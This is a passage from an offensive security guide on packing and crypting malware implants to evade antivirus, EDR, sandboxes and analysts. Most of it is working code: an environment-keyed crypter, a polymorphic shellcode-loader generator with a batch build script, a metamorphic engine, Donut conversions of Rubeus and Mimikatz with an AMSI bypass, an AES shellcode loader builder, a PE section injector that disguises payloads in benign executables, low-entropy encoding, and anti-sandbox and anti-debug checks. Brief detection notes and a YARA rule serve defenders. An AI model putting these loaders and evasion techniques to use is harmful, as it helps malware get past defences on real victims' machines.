7.3 Environment-Keyed Crypter (Key Derivation)
// env_key_crypter.c
// Key is NOT stored in binary — derived at runtime from system properties
// Payload only decrypts on the target machine
// [OPSEC] — Sandbox won't decrypt it (wrong machine fingerprint)
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
// ── Get machine GUID (from registry) ─────────────────────────
void get_machine_guid(char* guid_out, DWORD guid_size) {
HKEY hKey;
RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0, KEY_READ | KEY_WOW64_64KEY, &hKey);
RegQueryValueExA(hKey, "MachineGuid", NULL, NULL,
(LPBYTE)guid_out, &guid_size);
RegCloseKey(hKey);
}
// ── Get computer name ─────────────────────────────────────────
void get_computer_name(char* name_out, DWORD* size) {
GetComputerNameA(name_out, size);
}
// ── Derive AES key from system fingerprint ────────────────────
// Key = SHA256(MachineGUID + ComputerName)
BOOL derive_key_from_env(BYTE key_out[32]) {
char machine_guid[64] = {0};
char comp_name[64] = {0};
DWORD name_len = sizeof(comp_name);
get_machine_guid(machine_guid, sizeof(machine_guid));
get_computer_name(comp_name, &name_len);
// Concatenate: "GUID:COMPUTERNAME"
char seed[256] = {0};
snprintf(seed, sizeof(seed), "%s:%s", machine_guid, comp_name);
// SHA256 the seed
HCRYPTPROV hProv; HCRYPTHASH hHash;
CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash);
CryptHashData(hHash, (BYTE*)seed, (DWORD)strlen(seed), 0);
DWORD hash_size = 32;
CryptGetHashParam(hHash, HP_HASHVAL, key_out, &hash_size, 0);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return TRUE;
}
/*
* Usage:
* BYTE key[32];
* derive_key_from_env(key);
* // Now AES-decrypt payload using derived key
* // Only decrypts on the machine where GUID + name match
*/
[OPSEC] Environment-keyed crypters are sandbox killers. Automated sandboxes run on generic VMs with generic GUIDs — they cannot derive the correct key and the payload stays encrypted. Only the pre-surveilled target machine can decrypt.
8. Polymorphic Packing
What it means: A polymorphic packer changes its stub/decryptor every time it's run, while the encrypted payload underneath stays functionally identical. The mutation engine changes the decryption stub — random keys, junk code, instruction substitution — so every build produces a unique binary with no matching signature.
Polymorphic Packer:
┌─────────────────────────────────────────────────────┐
│ Build 1: │
│ [Stub variant A (random key: 0x41)] [Enc payload] │
│ Hash: 9a3f7c... │
├─────────────────────────────────────────────────────┤
│ Build 2: │
│ [Stub variant B (random key: 0x77)] [Enc payload] │
│ Hash: b8e12d... (completely different) │
├─────────────────────────────────────────────────────┤
│ Both binaries: Same behavior, different signatures │
└─────────────────────────────────────────────────────┘
8.1 Polymorphic Stub Generator (Python)
#!/usr/bin/env python3
# poly_stub_generator.py
# Generates a different C stub each build:
# - Random XOR key
# - Random variable names
# - Junk instruction insertion
# - Instruction substitution (equivalent operations)
import os
import random
import string
import subprocess
def random_name(length=8) -> str:
"""Generate a random variable/function name."""
return ''.join(random.choices(string.ascii_lowercase, k=length))
def xor_encode(shellcode: bytes, key: int) -> bytes:
return bytes([b ^ key for b in shellcode])
def generate_junk_instructions() -> str:
"""Return random junk C code that does nothing meaningful."""
junk_pool = [
f"volatile int {random_name()} = {random.randint(1,999)};",
f"if ({random.randint(0,0)}) {{ return 0; }}", # Dead code
f"int {random_name()} = {random.randint(1,9)} * {random.randint(1,9)};",
f"Sleep(0);",
f"{{ unsigned char {random_name()} = 0xAA ^ 0xAA; (void){random_name()}; }}",
]
return "\n ".join(random.choices(junk_pool, k=random.randint(2, 5)))
def generate_poly_stub(shellcode: bytes) -> str:
"""Generate polymorphic C stub — different every call."""
# Random XOR key (pick one that avoids null bytes)
key = 0
for candidate in random.sample(range(1, 256), 255):
encoded = xor_encode(shellcode, candidate)
if b'\x00' not in encoded:
key = candidate
break
if key == 0:
key = random.randint(1, 255) # Fallback
encoded = xor_encode(shellcode, key)
# Random variable names
v_shellcode = random_name()
v_key = random_name()
v_size = random_name()
v_mem = random_name()
v_i = random_name()
f_decode = random_name()
f_main = "main" # Keep main() standard for PE entry
# Convert encoded shellcode to C array
hex_vals = ", ".join(f"0x{b:02x}" for b in encoded)
stub = f"""
// Auto-generated polymorphic stub
// Build ID: {os.urandom(4).hex()} — unique every run
#include <windows.h>
// ── Encoded payload ───────────────────────────────────────────
unsigned char {v_shellcode}[] = {{ {hex_vals} }};
unsigned int {v_size} = {len(encoded)};
unsigned char {v_key} = 0x{key:02x};
// ── Decode function (XOR) ─────────────────────────────────────
void {f_decode}(unsigned char* buf, unsigned int size, unsigned char key) {{
{generate_junk_instructions()}
unsigned int {v_i};
for ({v_i} = 0; {v_i} < size; {v_i}++) {{
buf[{v_i}] ^= key;
}}
{generate_junk_instructions()}
}}
// ── Entry point ───────────────────────────────────────────────
int main(void) {{
{generate_junk_instructions()}
// Allocate RWX memory
LPVOID {v_mem} = VirtualAlloc(
NULL, {v_size},
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!{v_mem}) return 1;
// Copy encoded shellcode
memcpy({v_mem}, {v_shellcode}, {v_size});
{generate_junk_instructions()}
// Decode (XOR)
{f_decode}((unsigned char*){v_mem}, {v_size}, {v_key});
// Execute
((void(*)()){ v_mem})();
return 0;
}}
"""
return stub
# Usage
with open("shellcode.bin", "rb") as f:
sc = f.read()
stub_code = generate_poly_stub(sc)
print(stub_code)
# Each run → different C code → different compiled binary → different hash
8.2 Compiling Polymorphic Stubs (Automation)
#!/bin/bash
# poly_build.sh — Generate and compile N polymorphic variants
SHELLCODE="shellcode.bin"
COUNT=5
for i in $(seq 1 $COUNT); do
echo "[*] Generating variant $i..."
# Generate unique C stub
python3 poly_stub_generator.py > stub_$i.c
# Compile
x86_64-w64-mingw32-gcc stub_$i.c \
-o variant_$i.exe \
-mwindows -O2 -s \
-Wno-implicit-function-declaration
echo "[+] Variant $i: $(sha256sum variant_$i.exe | cut -d' ' -f1)"
done
echo ""
echo "[*] Generated $COUNT polymorphic variants — all unique hashes"
[DETECT] EDRs detect polymorphic code by behavioral analysis — not signatures. Even with a different stub, VirtualAlloc + memcpy + execute is a behavioral IOC. Combine with indirect syscalls or process injection to change execution behavior.
9. Metamorphic Techniques
What it means: Unlike polymorphism (which encrypts the payload and mutates the wrapper), metamorphism rewrites the actual code logic while keeping functional behavior identical. Each generation of the binary is structurally different — different instructions, different ordering, different register usage — while doing the same thing.
Polymorphic vs Metamorphic:
POLYMORPHIC:
Build 1: [Unique stub] + [Encrypted(payload)]
Build 2: [Different stub] + [Encrypted(payload)]
↑ Stub changes, payload logic same
METAMORPHIC:
Build 1: MOV RAX, 1 / ADD RBX, RAX / (payload logic A)
Build 2: XOR RCX, RCX / INC RCX / (payload logic B — same function!)
↑ Code rewrites itself — same semantics, different bytes
9.1 Common Metamorphic Substitutions (Instruction Equivalents)
; ── Equivalent sequences — same result, different bytes ───────
;
; Original: mov rax, 0
; Equiv 1: xor rax, rax
; Equiv 2: sub rax, rax
; Equiv 3: and rax, 0
; Original: nop (0x90)
; Equiv 1: xchg ax, ax
; Equiv 2: lea rax, [rax+0]
; Equiv 3: push rax / pop rax
; Original: inc rax
; Equiv 1: add rax, 1
; Equiv 2: sub rax, -1
; Equiv 3: lea rax, [rax+1]
; Original: call [rax]
; Equiv 1: push return_label / jmp [rax] / return_label:
; Equiv 2: mov rbx, [rax] / call rbx
; ── Register swapping ─────────────────────────────────────────
; Original: mov rax, rbx
; Equiv: push rbx / pop rax ; (if rax not used in between)
9.2 Python Metamorphic Engine (Simple Instruction Substitutor)
#!/usr/bin/env python3
# metamorphic_engine.py
# Simple metamorphic code generation:
# Substitutes equivalent instructions in generated C code
# Real engines work at x86 byte level — this demos the concept in C
import random
# ── Instruction substitute table ─────────────────────────────
# Each entry: original → list of equivalents
SUBSTITUTES = {
"buf[i] ^= key;": [
"buf[i] = buf[i] ^ key;",
"{ unsigned char t = key; buf[i] ^= t; }",
"buf[i] = (unsigned char)(buf[i] ^ key);",
],
"VirtualAlloc(NULL,": [
"VirtualAlloc(0,",
"VirtualAlloc((LPVOID)0,",
],
"PAGE_EXECUTE_READWRITE": [
"0x40", # Numeric equivalent of PAGE_EXECUTE_READWRITE
"PAGE_EXECUTE_READWRITE",
],
"MEM_COMMIT | MEM_RESERVE": [
"0x3000", # Numeric: 0x1000 | 0x2000
"MEM_COMMIT | MEM_RESERVE",
],
}
# ── Junk code templates ───────────────────────────────────────
JUNK = [
"/* stub */ (void)0;",
"{ volatile int _x = ~0; (void)_x; }",
"if (GetTickCount() < 0) { return 1; }", # Never true — dead code
"{ HANDLE _h = NULL; (void)_h; }",
]
def apply_metamorphism(c_code: str) -> str:
"""Apply instruction substitution and junk insertion."""
# Substitute equivalent instructions
for original, equivalents in SUBSTITUTES.items():
if original in c_code:
replacement = random.choice(equivalents)
c_code = c_code.replace(original, replacement, 1)
# Insert junk before return statements
junk = " " + random.choice(JUNK) + "\n"
c_code = c_code.replace(" return 0;", junk + " return 0;", 1)
return c_code
# Apply to generated stub
base_stub = """
#include <windows.h>
unsigned char buf[] = {0x41, 0x42};
unsigned char key = 0x01;
int main(void) {
int i;
LPVOID mem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
for (i = 0; i < sizeof(buf); i++) {
buf[i] ^= key;
}
return 0;
}
"""
for run in range(3):
mutated = apply_metamorphism(base_stub)
print(f"=== Variant {run+1} ===")
print(mutated)
print()
[OPSEC] True metamorphism at the binary level requires a working x86-64 disassembler, control-flow graph analysis, and instruction-level mutation engine. Tools like MorphKatz do this properly. The Python example above demos the concept at source level.
[TOOL] MorphKatz — x64 polymorphic machine-code rewriter: https://github.com/gmh5225/morphkatz
10. VM-Based Protection (VMProtect / Themida)
What it means: VM-based protectors translate the original x86/x64 code into a custom bytecode format (a "virtual instruction set"). A small interpreter (the "virtual machine") embedded in the binary executes this bytecode at runtime. This means an analyst cannot simply disassemble the binary — they must reverse-engineer the custom VM and its instruction set first.
Normal x86 execution:
CPU → executes x86 instructions directly
└─ Analyst disassembles → reads code
VM-Protected execution:
CPU → executes VM interpreter (native x86)
└─ VM interpreter executes custom bytecode
└─ Bytecode = obfuscated original code
└─ Analyst sees only interpreter + opaque bytecode
└─ Must reverse the custom ISA first (very hard)
10.1 VMProtect
[TOOL] VMProtect: https://vmpsoft.com
# VMProtect CLI (commercial tool)
# Protects functions/regions marked in source with SDK markers
# In C/C++ source — mark functions for VM protection:
# VMProtect SDK markers
#include "VMProtectSDK.h"
void sensitive_function() {
VMProtectBegin("sensitive_function"); // Start VM protection
// ... critical code ...
// This block will be translated to VM bytecode
// Only the embedded VM can execute it
VMProtectEnd();
}
# Command-line build with VMProtect:
# VMProtect.exe implant.exe -pf implant.vmp -pm markers.vmp
10.2 Themida
[TOOL] Themida: https://www.oreans.com/Themida.php
# Themida is a commercial protector used heavily by malware authors
# Lazarus Group (Operation Dream Job) used Themida-protected implants
# Key features:
# - VM-based code virtualization
# - Anti-debug (detects OllyDbg, x64dbg, WinDbg)
# - Anti-VM (detects VirtualBox, VMware, QEMU)
# - Anti-dump (prevents process memory dumping)
# - Anti-hook (detects user-mode hooks)
# - Code mutation (metamorphic transformations)
# - Import obfuscation (hides DLL imports)
# From a red team perspective — use Themida on implants when:
# 1. Dealing with a heavily defended target
# 2. Want to make reverse engineering very expensive for defenders
# 3. APT-style TTPs requiring high-tier protection
# Detection note:
# Themida itself is signatured by many AV engines — use on non-Themida-blacklisted
# targets or combine with other obfuscation on the outer layer.
10.3 Open-Source VM Packer Example
// simple_vm_packer_concept.c
// Conceptual: translates shellcode to fake bytecode + simple VM
// NOT a real virtualizer — illustrates the architecture
#include <windows.h>
#include <stdio.h>
// ── Custom VM instruction set ─────────────────────────────────
#define VM_PUSH 0x01 // Push byte to stack
#define VM_POP 0x02 // Pop byte from stack
#define VM_XOR 0x03 // XOR top two stack bytes
#define VM_STORE 0x04 // Store top of stack to output buffer
#define VM_JMP 0x05 // Unconditional jump
#define VM_HALT 0xFF // Stop VM
// ── VM State ──────────────────────────────────────────────────
typedef struct {
BYTE stack[256];
int sp; // Stack pointer
BYTE* output; // Decoded output buffer
int out_pos;
BYTE* code; // Bytecode (VM program)
int ip; // Instruction pointer
} VM_STATE;
// ── VM Interpreter ────────────────────────────────────────────
void vm_run(VM_STATE* vm) {
while (1) {
BYTE opcode = vm->code[vm->ip++];
switch (opcode) {
case VM_PUSH:
vm->stack[vm->sp++] = vm->code[vm->ip++];
break;
case VM_POP:
vm->sp--;
break;
case VM_XOR:
vm->stack[vm->sp-2] ^= vm->stack[vm->sp-1];
vm->sp--;
break;
case VM_STORE:
vm->output[vm->out_pos++] = vm->stack[--vm->sp];
break;
case VM_HALT:
return;
default:
return;
}
}
}
/*
* A real VM packer would:
* 1. Disassemble original x86 → lift to IR
* 2. Translate IR → custom bytecode
* 3. Randomize opcode assignments every build (polymorphic ISA!)
* 4. Compile VM interpreter with the random opcode table
* 5. Ship VM interpreter + bytecode as the packed binary
*/
[DETECT] VM-based protectors are detectable via entropy analysis, atypical PE structure, and known protector signatures. However, analysis requires weeks of work to understand the custom VM. In red team ops, this buys significant time against incident responders.
11. Shellcode-to-PE Packing (Donut)
What it means: Donut converts .NET assemblies, EXEs, DLLs, VBScript, and JScript into position-independent shellcode. The resulting shellcode can then be packed, injected, or embedded in a loader. Used widely by red teams to convert C# tools (SharpHound, Rubeus, Seatbelt) to shellcode for injection.
[TOOL] Donut: https://github.com/TheWover/donut
[MITRE] T1027.002 — Donut explicitly listed as a packing tool in ATT&CK.
11.1 Donut Usage
# ── Install Donut ─────────────────────────────────────────────
git clone https://github.com/TheWover/donut
cd donut
make # Linux
# or: msbuild donut.sln (Windows)
# ── Convert .NET EXE to shellcode ────────────────────────────
./donut -i Rubeus.exe -o rubeus_shellcode.bin
# ── Convert DLL to shellcode ──────────────────────────────────
./donut -i SharpHound.dll -c SharpHound -m Execute \
-o sharphound_sc.bin
# ── Convert with arguments ────────────────────────────────────
./donut -i Rubeus.exe -o rubeus_sc.bin -p "asktgt /user:admin"
# ── Add encryption (Donut built-in) ──────────────────────────
./donut -i implant.exe -o packed.bin -e 3
# -e 1 = none, -e 2 = Random key, -e 3 = Maru hash
# ── Convert PowerShell script ─────────────────────────────────
./donut -i invoke-mimikatz.ps1 -o ps_sc.bin
# ── 32-bit output ─────────────────────────────────────────────
./donut -i implant32.exe -o sc32.bin -a 1
# ── 64-bit output (default) ───────────────────────────────────
./donut -i implant64.exe -o sc64.bin -a 2
# ── Both architectures (AMSI/WLDP bypass included by default) ─
./donut -i implant.exe -o sc.bin -b 1 # AMSI bypass
11.2 Donut + Custom Loader
#!/usr/bin/env python3
# donut_loader_builder.py
# Load Donut shellcode output, encrypt it, embed in a C loader
import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
def pack_donut_output(donut_bin: str, output_c: str):
with open(donut_bin, "rb") as f:
shellcode = f.read()
key = os.urandom(32)
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(shellcode, 16))
key_arr = ", ".join(f"0x{b:02x}" for b in key)
iv_arr = ", ".join(f"0x{b:02x}" for b in iv)
sc_arr = ", ".join(f"0x{b:02x}" for b in encrypted)
loader_c = f"""
// Donut shellcode loader — AES-256 encrypted
#include <windows.h>
#include <bcrypt.h>
unsigned char aes_key[] = {{ {key_arr} }};
unsigned char aes_iv[] = {{ {iv_arr} }};
unsigned char enc_sc[] = {{ {sc_arr} }};
unsigned int enc_sc_len = {len(encrypted)};
// [AES decrypt stub from §7.2 goes here]
int main(void) {{
DWORD dec_len = 0;
// Decrypt → VirtualAlloc RWX → execute donut shellcode
BYTE* sc = aes_cbc_decrypt(enc_sc, enc_sc_len,
aes_key, aes_iv, &dec_len);
LPVOID mem = VirtualAlloc(NULL, dec_len,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(mem, sc, dec_len);
VirtualFree(sc, 0, MEM_RELEASE);
((void(*)())mem)();
return 0;
}}
"""
with open(output_c, "w") as f:
f.write(loader_c)
print(f"[+] Output: {output_c}")
print(f"[+] Shellcode: {len(shellcode)} bytes → Encrypted: {len(encrypted)} bytes")
pack_donut_output("rubeus_shellcode.bin", "loader.c")
12. Multi-Layer Chained Packing (ProtectMyTooling)
What it means: ProtectMyTooling is a multi-packer wrapper that daisy-chains multiple packers, obfuscators, and protectors. Output of packer A becomes input to packer B. Produces layered protection with IOC collection and PE watermarking at each stage.
[TOOL] ProtectMyTooling: https://github.com/mgeeky/ProtectMyTooling
12.1 ProtectMyTooling Usage
# ── Install ────────────────────────────────────────────────────
git clone https://github.com/mgeeky/ProtectMyTooling
cd ProtectMyTooling
pip install -r requirements.txt
# ── List available packers ─────────────────────────────────────
py ProtectMyTooling.py --list-packers
# ── Single packer ─────────────────────────────────────────────
py ProtectMyTooling.py upx implant.exe implant-upx.exe
# ── Chain: CallObf → UPX ──────────────────────────────────────
# Result: UPX(CallObf(implant))
py ProtectMyTooling.py callobf,upx implant.exe output.exe
# ── Chain: CallObf → Hyperion → UPX ──────────────────────────
# Result: UPX(Hyperion(CallObf(implant)))
py ProtectMyTooling.py callobf,hyperion,upx implant.exe output.exe
# ── With IOC collection (audit trail) ─────────────────────────
py ProtectMyTooling.py hyperion,upx implant.exe output.exe \
-i -I "operation_blackout"
# ── With PE watermark ─────────────────────────────────────────
py ProtectMyTooling.py upx implant.exe output.exe \
-w dos-stub=TEAM_TAG \
-w checksum=0xDEADBEEF
# ── IMPHASH tracking ──────────────────────────────────────────
# ProtectMyTooling prints IMPHASH before/after each packer
# [.] Before: 17b461a082950fc6332228572138b80c
# [.] After: 378d9692fe91eb54206e98c224a25f43
12.2 Chaining Logic (Understanding Layering Order)
Command: py ProtectMyTooling.py A,B,C implant.exe output.exe
Execution order:
implant.exe → [A packs] → temp_1 → [B packs] → temp_2 → [C packs] → output.exe
Result structure at runtime:
C unpacks first → B unpacks → A unpacks → implant executes
Example: callobf,hyperion,upx implant.exe
┌──────────────────────────────────────────────────────┐
│ UPX wrapper │
│ └─ Hyperion AES encrypted PE │
│ └─ CallObf-obfuscated import calls │
│ └─ Original implant.exe │
└──────────────────────────────────────────────────────┘
AV must defeat UPX, then Hyperion decrypt, then CallObf,
then analyze actual implant — 3 layers of protection.
[OPSEC] IOC collection is a blue team feature. For authorized engagements, use -i to collect IOCs at every stage so you can provide defenders a full artifact trail for the report. Purple teaming gold.
13. PE Section Manipulation
What it means: PE (Portable Executable) files are organized into sections (.text, .data, .rsrc, etc.). Packers manipulate sections by adding new ones, renaming existing ones, or hiding payloads in unusual sections. Understanding this helps both pack and detect.
13.1 Viewing PE Sections
# ── pefile (Python) ───────────────────────────────────────────
python3 << 'EOF'
import pefile
pe = pefile.PE("implant.exe")
print(f"{'Section':<12} {'VirtualSize':>12} {'RawSize':>10} {'Entropy':>10}")
print("-" * 50)
for section in pe.sections:
name = section.Name.decode('utf-8', errors='replace').strip('\x00')
entropy = section.get_entropy()
print(f"{name:<12} {section.Misc_VirtualSize:>12} "
f"{section.SizeOfRawData:>10} {entropy:>10.4f}")
EOF
# ── objdump (Linux) ───────────────────────────────────────────
objdump -h implant.exe
# ── PEview / CFF Explorer (Windows GUI) ──────────────────────
# Shows all PE sections, headers, imports, exports visually
# ── pestudio (AV scan + section analysis) ────────────────────
# https://www.winitor.com/download
13.2 Adding a Payload Section to PE
#!/usr/bin/env python3
# pe_section_inject.py
# Add a new section to an existing PE and write payload there
# Use: embedding encrypted blobs in legitimate PE templates
import pefile
import struct
import os
def add_section(pe_path: str, out_path: str,
section_name: str, data: bytes):
"""
Append a new PE section containing `data`.
`section_name` must be ≤ 8 bytes.
"""
pe = pefile.PE(pe_path)
# Align sizes
file_align = pe.OPTIONAL_HEADER.FileAlignment
sec_align = pe.OPTIONAL_HEADER.SectionAlignment
raw_size = (len(data) + file_align - 1) & ~(file_align - 1)
virt_size = (len(data) + sec_align - 1) & ~(sec_align - 1)
# Determine new section's virtual address
last_section = pe.sections[-1]
new_virt_rva = (
last_section.VirtualAddress +
((last_section.Misc_VirtualSize + sec_align - 1) & ~(sec_align - 1))
)
new_raw_off = (
last_section.PointerToRawData +
((last_section.SizeOfRawData + file_align - 1) & ~(file_align - 1))
)
# Build section header (40 bytes)
sec_hdr = struct.pack(
"<8sIIIIIIHHI",
section_name.encode().ljust(8, b'\x00')[:8], # Name
len(data), # VirtualSize
new_virt_rva, # VirtualAddress
raw_size, # SizeOfRawData
new_raw_off, # PointerToRawData
0, 0, 0, 0, # Relocations, line numbers (unused)
0xE0000020, # Characteristics: CODE | EXECUTE | READ | WRITE
)
# Patch PE headers
pe.FILE_HEADER.NumberOfSections += 1
pe.OPTIONAL_HEADER.SizeOfImage = new_virt_rva + virt_size
# Find end of section table (where to write new header)
last_hdr_off = pe.sections[-1].get_file_offset()
new_hdr_off = last_hdr_off + 0x28 # 40 bytes per section header
# Write to PE
raw = bytearray(pe.write())
# Insert section header
raw[new_hdr_off:new_hdr_off + 40] = sec_hdr
# Append section data
raw += b'\x00' * (new_raw_off - len(raw)) # Padding to raw offset
raw += data
raw += b'\x00' * (raw_size - len(data)) # Pad to file alignment
with open(out_path, "wb") as f:
f.write(raw)
print(f"[+] Section '{section_name}' added at RVA 0x{new_virt_rva:08x}")
print(f"[+] Written to: {out_path}")
# Usage: add encrypted payload to a benign PE template
with open("payload_enc.bin", "rb") as f:
encrypted_payload = f.read()
add_section(
pe_path="legitimate_template.exe", # Benign PE (notepad clone, etc.)
out_path="disguised_loader.exe",
section_name=".config", # Looks legitimate
data=encrypted_payload
)
[DETECT] Indicator: Executable sections with high entropy. .text normally has entropy ~6.0–6.5. A section like .config with entropy >7.5 is suspicious. YARA rules catch this pattern.
14. Entropy & Detection Evasion
What it means: Entropy is a measure of randomness (0 = perfectly uniform, 8 = perfectly random). AES-encrypted and ZLIB-compressed data have entropy close to 8.0 — a strong indicator to AV/EDR that something is packed or encrypted. High-entropy sections trigger heuristic detection even without signature matching.
14.1 Checking Entropy
#!/usr/bin/env python3
# entropy_check.py — Calculate entropy of file or PE sections
import math
import sys
from collections import Counter
def calc_entropy(data: bytes) -> float:
if not data:
return 0.0
counter = Counter(data)
n = len(data)
return -sum((v/n) * math.log2(v/n) for v in counter.values())
def check_file_entropy(path: str):
with open(path, "rb") as f:
data = f.read()
entropy = calc_entropy(data)
print(f"[*] File: {path}")
print(f"[*] Size: {len(data):,} bytes")
print(f"[*] Entropy: {entropy:.4f} / 8.0000")
if entropy > 7.5:
print("[!] HIGH ENTROPY — likely packed/encrypted (AV will flag)")
elif entropy > 6.5:
print("[~] MEDIUM-HIGH — compressed or obfuscated")
elif entropy > 4.0:
print("[+] NORMAL — typical for compiled code")
else:
print("[+] LOW — mostly uniform/zeroed data")
def check_pe_sections(path: str):
try:
import pefile
pe = pefile.PE(path)
print(f"\n[*] PE Section Entropy:")
print(f"{'Section':<12} {'Entropy':>8} {'Status'}")
print("-" * 40)
for s in pe.sections:
name = s.Name.decode('utf-8', errors='replace').strip('\x00')
ent = s.get_entropy()
flag = "⚠ HIGH" if ent > 7.0 else ("~ MED" if ent > 6.0 else "✓ OK")
print(f"{name:<12} {ent:>8.4f} {flag}")
except ImportError:
print("[-] pefile not installed (pip install pefile)")
except Exception as e:
print(f"[-] PE parse error: {e}")
if len(sys.argv) > 1:
check_file_entropy(sys.argv[1])
check_pe_sections(sys.argv[1])
else:
print(f"Usage: python3 {sys.argv[0]} <file>")
14.2 Low-Entropy Packing (Avoid Entropy Detection)
#!/usr/bin/env python3
# low_entropy_pack.py
# Encode encrypted payload to reduce apparent entropy
# Technique: Base-16 expansion (hex encode) → looks like text, lower entropy
import os
import math
from collections import Counter
def calc_entropy(data: bytes) -> float:
if not data:
return 0.0
c = Counter(data)
n = len(data)
return -sum((v/n)*math.log2(v/n) for v in c.values())
def hex_expand(data: bytes) -> bytes:
"""
Encode each byte as two hex ASCII chars.
Limits byte range to 0x30-0x39 and 0x61-0x66 (digits + a-f).
Entropy drops from ~8.0 to ~3.7.
Doubles size but evades entropy detection.
"""
return data.hex().encode('ascii')
def hex_contract(hex_data: bytes) -> bytes:
"""Reverse of hex_expand — used in stub to recover original bytes."""
return bytes.fromhex(hex_data.decode('ascii'))
# ── Demo ─────────────────────────────────────────────────────
import os
encrypted = os.urandom(1024) # Simulate AES-encrypted payload
print(f"[*] Encrypted payload entropy: {calc_entropy(encrypted):.4f}")
expanded = hex_expand(encrypted)
print(f"[*] Hex-expanded entropy: {calc_entropy(expanded):.4f}")
print(f"[*] Size: {len(encrypted)} → {len(expanded)} bytes (2x expansion)")
print()
print("[*] In stub: bytes.fromhex(hex_data.decode()) → recover encrypted payload")
print("[*] Then AES-decrypt as normal")
14.3 Tools for Entropy Analysis
# ── ThreatCheck (find AV-triggering bytes) ────────────────────
# https://github.com/rasta-mouse/ThreatCheck
# Bisects the binary to find exact bytes triggering AV
ThreatCheck.exe -f implant.exe
ThreatCheck.exe -f implant.exe -e AMSI # Test AMSI engine
# ── DefenderCheck (same idea, Defender-specific) ──────────────
# https://github.com/matterpreter/DefenderCheck
DefenderCheck.exe implant.exe
# ── DIE (Detect It Easy) — identify packers from entropy ──────
# GUI tool: shows packer signatures + section entropy charts
die implant.exe # CLI
# Download: https://github.com/horsicq/Detect-It-Easy
# ── Exeinfo PE — packer detector ─────────────────────────────
# Windows GUI tool for identifying 500+ packers/protectors
# ── YARA entropy rule example ─────────────────────────────────
# rule HighEntropySection {
# condition:
# for any section in pe.sections:
# (section.entropy(0, section.raw_data_size) > 7.5)
# }
15. Anti-Analysis Tricks in Packers
What it means: Packers and crypters often include anti-analysis checks in the stub to prevent the payload from running inside sandboxes, debuggers, or VMs. These checks make automated analysis ineffective and protect the actual payload from being dumped.
15.1 Anti-Sandbox Checks
// anti_sandbox.c — Common sandbox evasion checks in packer stubs
#include <windows.h>
#include <iphlpapi.h>
#include <tlhelp32.h>
#include <stdio.h>
// ── Check 1: Sleep timing (sandbox fast-forwards sleep) ───────
BOOL check_sleep_timing() {
DWORD start = GetTickCount();
Sleep(2000);
DWORD elapsed = GetTickCount() - start;
// Sandbox accelerates Sleep() — real time should be ~2000ms
return (elapsed < 1500); // TRUE = sandbox detected
}
// ── Check 2: RAM size (most sandboxes have <2GB RAM) ─────────
BOOL check_low_ram() {
MEMORYSTATUSEX mem = { sizeof(mem) };
GlobalMemoryStatusEx(&mem);
// Less than 2GB RAM → sandbox
return (mem.ullTotalPhys < (2ULL * 1024 * 1024 * 1024));
}
// ── Check 3: CPU core count (sandboxes often have 1-2 cores) ─
BOOL check_cpu_cores() {
SYSTEM_INFO si;
GetSystemInfo(&si);
return (si.dwNumberOfProcessors < 2); // TRUE = suspicious
}
// ── Check 4: Disk size (sandbox VMs have small disks) ────────
BOOL check_small_disk() {
ULARGE_INTEGER free_bytes, total_bytes, total_free;
GetDiskFreeSpaceExA("C:\\", &free_bytes, &total_bytes, &total_free);
// Less than 50GB total → sandbox
return (total_bytes.QuadPart < (50ULL * 1024 * 1024 * 1024));
}
// ── Check 5: Uptime (sandbox reboots frequently → short uptime)
BOOL check_short_uptime() {
DWORD uptime_ms = GetTickCount();
// Less than 10 minutes uptime → suspicious
return (uptime_ms < 10 * 60 * 1000);
}
// ── Check 6: Screen resolution (sandbox = small display) ──────
BOOL check_low_resolution() {
int width = GetSystemMetrics(SM_CXSCREEN);
int height = GetSystemMetrics(SM_CYSCREEN);
// Less than 1024x768 → sandbox
return (width < 1024 || height < 768);
}
// ── Check 7: Known sandbox processes ─────────────────────────
BOOL check_sandbox_processes() {
const char* sandbox_procs[] = {
"vboxservice.exe", // VirtualBox
"vboxtray.exe", // VirtualBox
"vmtoolsd.exe", // VMware
"vmwaretray.exe", // VMware
"sandboxie.exe", // Sandboxie
"cuckoo.py", // Cuckoo sandbox
"python.exe", // Cuckoo agent
"tcpdump", // Network capture
"wireshark.exe", // Network capture
"fiddler.exe", // HTTP interception
NULL
};
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32 = { sizeof(pe32) };
if (Process32First(snapshot, &pe32)) {
do {
for (int i = 0; sandbox_procs[i]; i++) {
if (_stricmp(pe32.szExeFile, sandbox_procs[i]) == 0) {
CloseHandle(snapshot);
return TRUE; // Sandbox process found
}
}
} while (Process32Next(snapshot, &pe32));
}
CloseHandle(snapshot);
return FALSE;
}
// ── Master sandbox check ─────────────────────────────────────
BOOL in_sandbox() {
int score = 0;
if (check_sleep_timing()) score++;
if (check_low_ram()) score++;
if (check_cpu_cores()) score++;
if (check_small_disk()) score++;
if (check_short_uptime()) score++;
if (check_low_resolution()) score++;
if (check_sandbox_processes()) score += 3; // High confidence
return (score >= 2); // 2+ flags = likely sandbox → abort
}
15.2 Anti-Debug Checks
// anti_debug.c — Anti-debugging in packer stubs
#include <windows.h>
// ── Check 1: IsDebuggerPresent ────────────────────────────────
BOOL check_debugger_present() {
return IsDebuggerPresent();
}
// ── Check 2: NtGlobalFlag (set to 0x70 when debugged) ────────
BOOL check_nt_global_flag() {
DWORD nt_global_flag = 0;
// Read NtGlobalFlag from PEB
__asm__ __volatile__(
"mov rax, gs:[0x60];" // PEB pointer
"mov eax, [rax + 0xBC];" // NtGlobalFlag offset
"mov %0, eax;"
: "=r"(nt_global_flag)
);
// 0x70 = FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS
return (nt_global_flag == 0x70);
}
